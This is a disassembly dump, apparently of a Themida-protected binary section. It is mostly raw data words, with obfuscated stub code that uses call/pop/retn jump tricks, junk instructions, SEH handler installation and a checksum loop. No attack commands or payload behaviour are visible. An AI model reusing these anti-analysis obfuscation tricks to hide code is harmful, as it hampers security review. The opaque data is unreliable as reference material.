0E6F89D8Dh, 0D3FF07E6h dd 68B5585Bh, 11E9h, 0E3B72D00h, 0AA785AEBh, 73ABE989h dd 5D4089F3h, 6ABF26h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 20A224C3h, 0F28B6200h db 8Bh, 0C0h word_5C9EE6 dw 858Dh ; DATA XREF: Themida_:00583810o dd 7E40D85h, 32F5BD03h, 0BD8907E4h, 7E42EF1h, 6E850h, 1A280000h dd 184E9C00h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 6AC35545h, 70B58835h, 42058EDAh, 25CDBD8Bh dd 6A07E4h, 38C0Fh, 0D7800000h, 8B006A72h, 0E421759Dh dd 33858D07h, 2907E87Ch, 0E40BA995h, 5C08307h, 0E8B0Fh dd 1600000h, 0E421A18Dh, 4DBD0107h, 6107E42Bh, 8B665090h dd 6A90F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 72E251C3h, 68C0FF0h, 89000000h, 0E42F75BDh dd 33006A07h, 0E40EE19Dh, 6A006A07h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF0DC352h dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 42CE39F6h, 0F98B6617h dd 0D64B8D8Dh, 0B58907E7h, 7E4046Dh, 6AD1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D29D4C3h dd 7E41945h, 2015BD83h, 0F0107E4h, 9985h, 899D0900h, 6A07E408h dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 19D8938h, 6607E430h, 0CDC2DB81h, 0BE990h dd 0BA4F0000h, 7D5B543Fh, 0ED3A33CBh, 6E950BFh, 19000000h dd 795630D2h, 6A9007h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 4E3A7AC3h, 0FFB61A4Eh, 0E431AD95h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 448706B9h, 167DBD33h, 0FFE907E4h, 0E800000Dh dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E87C3Dh push 0 push ebx call sub_5CA0DA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA0DA proc near ; CODE XREF: Themida_:005CA0D2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CA0DA endp ; --------------------------------------------------------------------------- dw 0BC94h db 96h ; db 94h ; db 0E9h ; ι db 0Fh db 0 db 0 db 0 db 0F2h dd 0AB80F677h, 7E0C58D8h, 0CBB8403Eh, 6AE1ACh, 3E851h dd 59200000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_5CA10D proc near arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5CA10D endp ; --------------------------------------------------------------------------- popa mov cl, 0C5h jnz short loc_5CA164 mov ebx, [ebp+7E415D9h] lea eax, [ebp+7E7C6E1h] push 0 push ecx call sub_5CA139 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA139 proc near ; CODE XREF: Themida_:005CA131p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5CA139 endp ; --------------------------------------------------------------------------- db 2, 18h, 5Fh dd 40A3EDD6h, 6650B477h, 489F98Bh, 50006A24h, 3E8h, 0C3582000h ; --------------------------------------------------------------------------- loc_5CA164: ; CODE XREF: Themida_:005CA120j pop eax mov [esp+4], eax add dword ptr [esp+4], 15h inc eax push eax retn ; --------------------------------------------------------------------------- fadd dword ptr [esi-41h] xor eax, 6443930Bh push large dword ptr ds:0 mov [ebp+7E405BDh], ebx mov edi, [ebp+7E42245h] mov large fs:0, esp jmp loc_5CA1AB ; --------------------------------------------------------------------------- dw 367Ch dd 6D834331h, 4C73D6BDh, 8B5FA332h db 0ECh, 88h, 42h ; --------------------------------------------------------------------------- loc_5CA1AB: ; CODE XREF: Themida_:005CA195j inc dword ptr [ebp+7E420B9h] sub [ebp+7E41C85h], edi push 0FFFFFFFFh jz loc_5CA1C1 mov bl, 5Dh loc_5CA1C1: ; CODE XREF: Themida_:005CA1B9j push dword ptr [ebp+7E40A59h] push 0 push ecx call sub_5CA1D2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA1D2 proc near ; CODE XREF: Themida_:005CA1CAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5CA1D2 endp ; --------------------------------------------------------------------------- dw 88D5h dd 15606CD5h, 0C080605Ah, 68D0F2Bh, 0F000000h, 82h, 95FF6100h dd 7E4304Dh, 149E9h, 518D3100h, 0B007E422h, 9E800h, 731E0000h dd 70186DF4h, 0FC6D2527h, 8170E65Fh, 2A35E4D7h, 6671E47Dh dd 613CDF8Bh, 11C830Fh, 0BD230000h, 7E40745h, 8BC8B60Fh dd 0E40E61BDh, 0CDBD8907h, 0BA07E425h, 6, 2B5D8529h, 0C18B07E4h dd 0A95D8DBBh, 4E8C13Dh, 3CDBF66h, 0FE2F766h, 0C82BFBBFh dd 8E8h, 0FFEA5100h, 66C989CAh, 5FD88B4Ah, 5753D18Bh, 5BFE8B66h dd 29B5895Bh, 0E907E402h, 20h, 31B99D89h, 0FE807E4h, 79000000h dd 1933E23h, 1E6E764Bh, 0D2965205h, 57BB27F7h, 5F226D59h dd 1C0D858Bh, 9D8B07E4h, 7E403DDh, 6E8h, 74AEC700h, 0E971642Fh dd 0Dh, 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C0835F81h dd 2D8D0107h, 8307E427h, 9D2B00C0h, 7E40191h, 830FD03Bh dd 1Dh, 840Fh, 53E90000h, 0F000000h, 68Ch, 0E5EB8100h dd 817BB0D7h, 7CC73CC7h, 858D8B3Fh, 0F07E423h, 289h, 83D0B300h dd 840F01E1h, 2Ah, 2ABD9589h, 890F07E4h, 6, 1FCBCF81h dd 0A5836F0Bh, 7E42385h, 8D9D09FEh, 8907E414h, 0E41C0D95h dd 0E907h, 0B58D0000h, 7E80F99h, 8A0F6060h, 0 ; --------------------------------------------------------------------------- mov dh, bl popa and ch, 2Fh popa push 0 jmp loc_5CA374 ; --------------------------------------------------------------------------- dw 0D1B1h dd 0F936D48Ah, 0CB608250h ; --------------------------------------------------------------------------- loc_5CA374: ; CODE XREF: Themida_:005CA365j call dword ptr [ebp+7E40E41h] push 0 push esi call sub_5CA385 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA385 proc near ; CODE XREF: Themida_:005CA37Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5CA385 endp ; --------------------------------------------------------------------------- db 3Eh, 60h, 8Bh dd 0E38166DAh, 0B961D947h, 6FAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0C3C35040h, 0CC6F5DABh, 8B0F4538h dd 6, 35858D89h, 0E18307E4h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0D98B66D0h dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0B8E524h, 8B000000h, 0E40035BDh, 0FD22B07h dd 33ADDEBFh, 3E8D1C2h, 4E983D0h, 13E9F475h, 0E000000h dd 5DD68F33h, 0A416FAECh, 6B7A28C1h, 1039D00Dh, 0DA8BCBFBh dd 880Dh, 31953100h, 8B07E40Eh, 0E41B7195h, 89B58907h dd 8B07E423h, 0E42DA18Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 2FBC9BC6h dd 0C4FA4AFCh, 880FFFB8h, 14h, 0BE8h, 98305400h, 7927340Fh dd 0F1C57586h, 5B93D780h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 800F5818h, 4, 0AE26BB66h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 0CEC35040h, 5B43C9CCh dd 0B3DF36B2h, 11BD835Ah, 7E406h, 19840Fh, 0B80000h, 89000000h dd 0E415B19Dh, 0E78D8D07h, 8B07E44Fh, 0E405259Dh, 83E1FF07h dd 0E422B9BDh, 840F0007h, 4F4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0E9C35646h, 81667FACh, 831A62CBh dd 0E422B9BDh, 840F0107h, 4DFh, 0BD83DF8Bh, 7E422B9h, 9A860F03h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E02CC355h, 9161F2E4h, 99D3360h dd 0E807E41Bh, 7, 0E6F37AE0h, 660DD3B2h, 6159F28Bh, 55006A60h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 813814B7h, 441499CBh, 0D88B6637h, 6AD98C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 664BC350h, 92F7E781h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0A26C356h dd 8D840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 11FC355h, 0C8B9595Fh dd 858BD88Bh, 7E40651h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 29C35343h, 77DCFE5Ch, 0DDE58530h, 0AE9h dd 96231100h, 86F476A1h, 3307AD9Ah, 0E4202985h, 0E7EF8107h dword_5CA668 dd 504A1EE0h, 489F98Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh ; DATA XREF: Themida_:0059E3B4o dd 24448104h, 1A04h, 0C3554500h, 9A9D24F3h, 9576C92h, 0E41A11B5h dd 6AF807h, 2175BD89h, 0E95207E4h, 9, 6AD8FD4Ch, 9BA0E1F1h dd 0B3685BC6h, 0F2E640Fh, 148Fh, 0FE900h, 0ECE40000h, 0DD7C1913h dd 228F3F1Bh, 14ADA95Ah, 2434819Eh, 2E7B0C4Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B6C35141h, 0B11571B8h dd 36D48AD1h, 0FF98B66h, 95FFFAB7h, 7E42D99h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 83C35242h, 1836D5CAh dd 548A5133h, 8E8h, 0BB96AD00h, 0B8182578h, 28B0FF3h, 53000000h dd 85895F5Fh, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 38C35646h, 0A68A7B7Fh, 8C24F49Ch, 1BAE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F582437Ah, 0F89D858Bh, 958907E7h, 7E41925h dd 1800C7h, 0BD8B0000h, 7E42501h, 0F8A1B58Bh, 9D8907E7h dd 7E41B35h, 2D45BD03h, 858B07E4h, 7E40099h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 4FB320ABh dd 0F7E9A31h, 68Ah, 41BD8B00h, 8907E419h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0B3303502h, 0BE9E5B5Fh, 9DB589h, 0DA8B07E4h, 651858Bh dd 8D0907E4h, 7E41449h, 6A044689h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5A0BC350h dd 96509618h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 1C35242h, 9F77E13Eh, 0B5FFD294h, 7E7F89Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h, 12E31071h dd 7C686DCCh, 0B3B968C0h, 24048159h, 46B64383h, 0A5858DF8h dd 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0B897C356h, 0BB556C58h, 5DE31ECAh dd 50DF8B90h, 3513BF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0CF886F59h, 0E6BF9E6Ah dd 0FFFE8B66h, 0E42D9995h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8D31D38Dh dd 7E40705h, 61C2DB80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 64C35040h, 0FB8B66A5h, 209AF4BBh, 0B985C734h dd 307E422h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0F7D2C356h, 60CF0227h dd 66D9D89h, 0B70F07E4h, 0BD8361D6h, 7E7F8A5h, 5E840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 1988C351h, 0BD293FCBh, 7E40A75h dd 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0E2554949h, 7E81D8Eh, 0EA000000h dd 4C9D8E62h, 0BD0BFDB4h, 7E41481h, 0C30505Fh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 89D4EB80h, 0E4228D8Dh dd 0B9BD8307h, 307E422h, 435850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 236BFC3h dd 14DF0888h, 19B19D89h, 0BF6607E4h, 0BD832925h, 7E7F8A5h dd 0FC840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8B28C353h, 0E41B2D9Dh dd 0A5B5FF07h, 0E807E7F8h, 11h, 0A2EFDCD6h, 0BC805189h dd 0E13FAD42h, 7540B26h, 0EF8166C4h, 0FF5FAEABh, 0E4044D95h dd 41BD8907h, 8B07E41Bh, 0E7F899B5h, 106C707h, 33000100h dd 0E415219Dh, 8E0F9607h, 2, 8B5014B7h, 6A96FBh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 12AF5BC3h, 0A659D03h, 0B5FF07E4h, 7E7F8A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D0C35141h, 7E95281h dd 0B7000000h, 920399DEh, 0FF5BBA1Bh, 0E42A0995h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BB66387Ah, 0B58B2038h, 7E7F899h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0CCC35343h, 0E9104A72h, 9 dd 0A230DE7Ch, 0F9C712F4h, 0C7816617h, 858BB915h, 7E43165h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h dd 958B60A0h, 7E41B0Dh, 64D9509h, 896107E4h, 0C486h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4728A48Fh, 958B35A1h, 7E41B71h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 28C35545h, 0CC8B7F08h, 510994h dd 79B5896Dh, 0F807E400h, 0F04C283h, 88h, 20508900h, 68A0Fh dd 95890000h, 7E41B8Dh, 0CD4858Dh, 952907E8h, 7E42FA9h dd 86896CB3h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0A9C35040h, 338349EFh, 8D89C452h, 7E413A1h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 44347EC3h, 0B0C1DC10h, 1619D8Bh, 0B5FF07E4h dd 7E7F8A5h, 0A858D89h, 8B6607E4h, 0AD95FFDEh, 8907E431h dd 0E4128585h, 8B665007h, 243489DEh, 2C31BD8Bh, 0B5FF07E4h dd 7E7F8A5h, 0F28B6660h, 19D5BD31h, 816107E4h, 6AAECAEBh dd 1195FF6Dh, 8307E41Bh, 0E40DF9BDh, 840F0007h, 54h, 0DDB58B60h dd 2B07E41Dh, 0E42EC595h, 89506107h, 8B602434h, 0E41E59B5h dd 0AE807h, 0F03B0000h, 0C7359352h, 0F253C812h, 10E9h dd 0EEA37300h, 30E71FD7h, 0AE31BB95h, 8DED703Eh, 0E9615943h dd 10h, 9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 0F8A5B5FFh dd 0F38007E7h, 7D95FF1Eh, 6607E402h, 8783D381h, 0CD9BBF66h dd 0F8A5B5FFh, 6A07E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 7CA65C3h, 0CF4C7EAAh, 0E853F20Eh dd 0Dh, 2E5CF9AAh, 0C005740Ch, 1E3E94CBh, 0B0C38115h, 5B326B02h dd 205210BFh, 7195FF1Eh, 6A07E409h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8E30C356h dd 9D896003h, 7E40BA5h, 61C2B70Fh, 0A21BD83h, 0F0207E4h dd 6284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0FCD986D5h, 7ABB564Ch, 5F1DAEFEh dd 25CD9D89h, 858B07E4h, 7E41EB5h, 0C6F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9EC35747h, 0AEC94166h dd 0BCBFB4C6h, 0E5958993h, 0C707E40Dh, 0E4267185h dd 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0FDBD8B92h, 0E907E40Dh, 0FFFFF323h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0DCC35040h dd 9005C44Dh, 8BD98B66h, 0D59D8BC1h, 0F07E40Dh, 858DD9B7h dd 7E40D85h, 89FE8B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0A9965BC3h, 1E266F1h dd 0BF4CF404h, 6A169323h, 0B70F006Ah, 0F006ADFh, 48Dh dd 0D6BF6600h, 0B52957DEh, 7E41F11h, 858D5Fh, 6A07E88Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0CE0AC351h, 81C13FCDh, 0DF7DB4CFh, 2DCB810Ch dd 0E964F2E5h, 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 83B5A9B2h dd 0C38105C0h, 5892188Eh, 9D9D0156h, 5B07E42Fh, 0BF525090h dd 6F9214Dh, 585A310Fh, 90D88B50h, 0DEBF0F60h, 61DEB70Fh dd 211DBD0Bh, 6A07E4h, 68B0Fh, 9D8B0000h, 7E402DDh, 9698D89h dd 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 87C35141h, 0C788571Fh, 95FFF88Fh, 7E42471h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6AC35141h, 4515AD50h dd 286D446Fh, 9D9D23F6h, 8B07E424h, 4B8D8DFAh, 6A07E7D6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 1C16C357h, 55302755h, 83D1FF93h, 0E42015BDh dd 850F0107h, 63h, 1835BD2Bh, 26A07E4h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 11C35242h, 5BD03FD6h dd 0A6730C9h, 0F506090h, 86h, 8F0F5E00h, 6, 840Fh, 50610000h dd 7E9h, 0BF81DD00h, 0DC005AA3h, 0D5BD0390h, 0FF07E425h dd 0E431AD95h, 51B58907h, 0E907E430h, 0DA0h, 0E8h, 0ED815D00h dd 7E88C0Ah, 66F78166h, 57006AFBh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0E1858DCFh, 0E907E7C6h dd 0Bh, 0AEEFF8E3h, 3E54F40Ch, 8B55C2DEh, 0E425F99Dh, 52509007h dd 2F6FC3BBh, 0E8310F3Bh, 0Bh, 1E549449h, 0C15B4853h, 600B0FB5h dd 585A5B61h, 0BF525050h, 4025593Fh, 14E8310Fh, 0C4000000h dd 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 0BF718B72h dd 14D1B6FEh, 90585A5Fh, 35FF64h, 0F000000h, 38Ah, 0F8B70F00h dd 258964h, 0FC000000h, 27B268BFh, 0B985FF01h, 8907E420h dd 0E41C31BDh, 31BD8907h, 6A07E42Ch, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 4CE0845Bh dd 7578EB89h, 0BD8B4D87h, 7E42285h, 226DBD03h, 0B5FF07E4h dd 7E406A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0D1C35747h, 82750553h, 7E89DD3h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5CB1B3: ; DATA XREF: Themida_:00583354o test byte ptr [ebp-68503995h], 81h mov bl, 0C7h pop ebx call dword ptr [ebp+7E4304Dh] jmp loc_5CB2DA ; --------------------------------------------------------------------------- dd 2DB589h, 0B007E4h, 42986ABFh, 0F70E632h, 71E4FEBFh dd 6DB58B60h, 0E907E424h, 0Ah, 2399BE28h, 737B769Eh, 3C61C543h dd 0DF830F61h, 0F000000h, 0BAF5C8B6h, 6, 8BF8BF0Fh, 11BD0BC1h dd 0C107E416h, 0C4B304E8h, 8BE2F766h, 0E4198D9Dh, 0CE907h dd 90550000h, 8603ED36h, 1FF9FF6Fh, 0C82BF8A9h, 8BDF8B66h dd 0A99589D1h, 0E907E403h, 2, 858BFC8Ah, 7E40349h, 29BD9D2Bh dd 8B6607E4h, 7C083DFh, 1860Fh, 83F50000h, 8A0F00C0h, 2 dd 0D03BF88Bh, 21830Fh, 13E90000h, 24000000h, 224E067Eh dd 7EA564E3h, 51489995h, 0C4436431h, 4FE95B23h, 66000000h dd 8BD4E2BFh, 0E40B698Dh, 66F88B07h, 0E183D98Bh, 37840F01h dd 0FC000000h, 0B69A583h, 0E9FE07E4h, 13h, 16B3D917h, 715D6D23h dd 17A04D00h, 5C1CBBBh, 8958328Bh, 0E4034995h, 91BD8B07h dd 8B07E402h, 0E4249D9Dh, 0E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5CB2DA: ; CODE XREF: Themida_:005CB1C3j lea esi, [ebp+7E8187Bh] push 0 push edx call sub_5CB2EB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB2EB proc near ; CODE XREF: Themida_:005CB2E3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5CB2EB endp ; --------------------------------------------------------------------------- jnb short near ptr loc_5CB31E+3 sbb eax, 13E9h add [edx+ecx*4-67E5AFDFh], ch stc rcl al, cl adc al, 93h mov bh, 0F9h cmpsd adc eax, 66F5D617h mov [ebp+7E40EC9h], ebx push 0 loc_5CB31E: ; CODE XREF: Themida_:005CB2FBj or bx, 4D9Dh call dword ptr [ebp+7E40E41h] push 0 push ebx call sub_5CB334 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB334 proc near ; CODE XREF: Themida_:005CB32Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CB334 endp ; --------------------------------------------------------------------------- inc ebx add eax, 26B95DE5h or eax, 6A0000h push esi call sub_5CB358 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB358 proc near ; CODE XREF: Themida_:005CB350p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5CB358 endp ; --------------------------------------------------------------------------- sub eax, 2A806F81h xchg eax, edx fadd qword ptr [ecx+2D6A8ACBh] jl short near ptr loc_5CB37E+3 mov ebp, 7E42A91h and ecx, 0FFFFFFFCh loc_5CB37E: ; CODE XREF: Themida_:005CB374j sub [ebp+7E41E85h], esi cld mov [ebp+7E42649h], ecx mov eax, 0 mov [ebp+7E43581h], eax clc mov edx, 0 jle loc_5CB3AE js loc_5CB3AE add [ebp+7E40B09h], esi loc_5CB3AE: ; CODE XREF: Themida_:005CB39Cj ; Themida_:005CB3A2j ... lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CB3AE push 0 push edi call sub_5CB3C5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB3C5 proc near ; CODE XREF: Themida_:005CB3BDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5CB3C5 endp ; --------------------------------------------------------------------------- db 84h, 0FFh, 0E4h dd 1465FD33h, 95090E16h, 7E402B5h, 0B2638BFh, 880D26h dd 12E90000h, 25000000h, 0C19DD59Bh, 94BC32E7h, 0F4104C39h dd 8D260B08h, 71958B0Eh, 8B07E41Bh, 0E42AAD9Dh, 0A18D8B07h dd 8107E42Dh, 73A393C7h, 0C28B5020h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 85D4C352h, 0D780C451h dd 224BB72h, 0BD831339h, 7E40611h, 3D840F00h, 60000000h dd 0A71B58Bh, 8D8907E4h, 7E400FDh, 0B861h, 0BF660000h dd 8D8DC727h, 7E44FE7h, 0EE953h, 872E0000h, 0C02062FCh dd 5CD8DF1Ch, 929218DFh, 0DEB70F5Bh, 9529E1FFh, 7E42A71h dd 22B9BD83h, 0F0007E4h, 49B84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 39AEB283h dd 0DB529D6h, 8307E415h, 0E422B9BDh, 840F0107h, 483h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9FC35545h, 256E1F88h dd 3830FFEh, 0F000000h, 0BD83DBBFh, 7E422B9h, 16860F03h dd 0FC000004h, 50006A60h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0B8F1E98h, 943E6A6Fh dd 0BD2B8063h, 7E41C39h, 6AD98C66h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0AA16C355h dd 79FDDF27h, 800058DCh, 8D2904E1h, 7E42205h, 840FC90Ah dd 14Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 75C35040h, 896051BBh, 0E402218Dh, 91BD8B07h, 6107E424h dd 651858Bh, 8B6607E4h, 298533DEh, 5607E420h, 527BB66h dd 5250905Fh, 8EA7D9BBh, 51310F35h, 840Fh, 5A5B0000h, 66605058h dd 66D008BBh, 9061D78Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0A6C35040h, 2BA0B8CFh, 0E40951BDh, 0D1BD0307h dd 2907E404h, 0E40879BDh, 6A006A07h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7F8DC357h dd 0E6BEBFA6h, 0B5011957h, 7E4128Dh, 4E8h, 1F03FF00h, 0A5BB6600h dd 0BB665007h, 448B63CDh, 1B30424h, 89BB008Bh, 894AAB41h dd 0BF042444h, 4524D1F9h, 0FFFD8A58h, 0E42D9995h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 6021BA51h, 673366B0h, 9531E057h, 7E405C5h, 2C319501h dd 858907E4h, 7E7F8A5h, 0DE960h, 0D60A0000h, 0DDE2EAA2h dd 0A380BED1h, 0F867A65h, 68Ah, 0ED9D2B00h, 6107E42Bh dd 1F9E9h, 35858900h, 8B07E40Eh, 0E7F89D85h, 7BB6607h dd 0B50360B7h, 7E42785h, 0C761D18Bh, 1800h, 8BFB8B00h dd 0E7F8A1B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 72F442ADh, 12E89F22h dd 49000000h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 0D986D5DAh dd 68E0FFCh, 81000000h, 0E42E6CCBh, 840F5F54h, 2, 858BD98Ah dd 7E40099h, 5E8h, 9DADE800h, 0D380CEA9h, 6895B73h, 8529F960h dd 7E4039Dh, 11BD8B61h, 8B07E40Eh, 0E4065185h, 4468907h dd 0F9858951h, 5B07E41Eh, 38A0Fh, 8B660000h, 0E96050FEh dd 11h, 39230273h, 0BF796F1h, 598EE6F7h, 26AAB3Ah, 10E9B4h dd 74E20000h, 0A5B9AC83h, 47231031h, 0DE0512F2h, 89615C5Fh dd 0BD8B2434h, 7E42589h, 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D4EAA4C3h dd 257EB556h, 0F52B6CEh, 0BD8BD8B7h, 7E42435h, 4E8h, 1F03FF00h dd 0FDBB6600h, 10E850DFh, 0A1000000h, 43004711h, 141319C0h dd 7B41E8D4h, 0E8956524h, 5, 0EA24AA15h, 7E954h, 